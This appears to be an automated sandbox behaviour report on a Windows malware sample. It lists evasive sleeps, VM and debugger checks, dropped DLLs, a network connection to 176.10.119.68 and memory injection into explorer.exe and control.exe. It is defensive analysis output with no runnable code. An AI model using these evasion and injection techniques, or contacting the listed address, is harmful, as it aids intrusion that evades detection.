Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1928 Thread sleep time: -7378697629483816s >= -30000s Jump to behavior
Source: C:\Windows\System32\control.exe TID: 3396 Thread sleep time: -1773297476s >= -30000s
Found evasive API chain (date check)
Source: C:\Windows\SysWOW64\rundll32.exe Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\b5khtopv.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\kikzslfg.dll Jump to dropped file
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6164 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3110 Jump to behavior
Found evasive API chain checking for process token information
Source: C:\Windows\SysWOW64\rundll32.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F665C2 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, 2_2_04F665C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F699BC lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 2_2_04F699BC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F7BAD1 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, 2_2_04F7BAD1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F6FD47 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree, 2_2_04F6FD47
Source: control.exe, 00000022.00000002.1120355599.0000016545F88000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:eEE|
Source: explorer.exe, 00000025.00000000.419693379.000000000814C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000025.00000000.420208228.0000000008223000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}*^d
Source: explorer.exe, 00000025.00000000.415342028.0000000000680000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: _VMware_SATA_CD00#5&280b647&
Source: explorer.exe, 00000025.00000000.446215428.000000000069D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000025.00000000.420208228.0000000008223000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00
Source: control.exe, 00000022.00000002.1120355599.0000016545F88000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}\
Source: control.exe, 00000022.00000002.1120355599.0000016545F88000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\
Source: control.exe, 00000022.00000002.1120355599.0000016545F88000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\CkK@
Source: explorer.exe, 00000025.00000000.424617292.00000000062C4000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000025.00000000.419520780.0000000004287000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}0
Source: rundll32.exe, 00000002.00000002.453750013.0000000003197000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000002.453564071.000000000313A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000025.00000000.437682607.000000000820E000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000025.00000000.420208228.0000000008223000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}}^
Source: mshta.exe, 00000018.00000003.363685356.000002AE315B2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}
Source: explorer.exe, 00000025.00000000.419693379.000000000814C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000025.00000000.420208228.0000000008223000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00l
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F6EC00 RegOpenKeyA,LoadLibraryA,GetProcAddress,GetLastError,FreeLibrary,GetLastError,RegCloseKey, 2_2_04F6EC00
Checks if the current process is being debugged
Source: C:\Windows\System32\loaddll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_04F68FEC StrRChrA,_strupr,lstrlen,CreateEventA,RtlAddVectoredExceptionHandler,GetLastError,RtlRemoveVectoredExceptionHandler, 2_2_04F68FEC

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 176.10.119.68 80 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\SysWOW64\rundll32.exe Section loaded: unknown target: C:\Windows\System32\control.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\explorer.exe Section loaded: unknown target: unknown protection: execute and read and write
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF61B8E12E0 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: E50000 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF61B8E12E0 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 49E000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 7FFC86661580 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 2960000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 7FFC86661580 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 4A2000
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 7FFC86661580
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 2600000
Changes memory attributes in foreign processes to executable or writable
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFC86661580 protect: page execute and read and write
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFC86661580 protect: page execute and read and write
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFC86661580 protect: page execute and read and write
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFC86661580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFC86661580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFC86661580 protect: page execute read
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFC86661580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFC86661580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFC86661580 protect: page execute read
Allocates memory in foreign processes
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: C:\Windows\System32\control.exe base: E50000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory allocated: C:\Windows\explorer.exe base: 2600000 protect: page execute and read and write
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3968 base: 49E000 value: 00 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3968 base: 7FFC86661580 value: EB Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3968 base: 2960000 value: 80 Jump to behavior
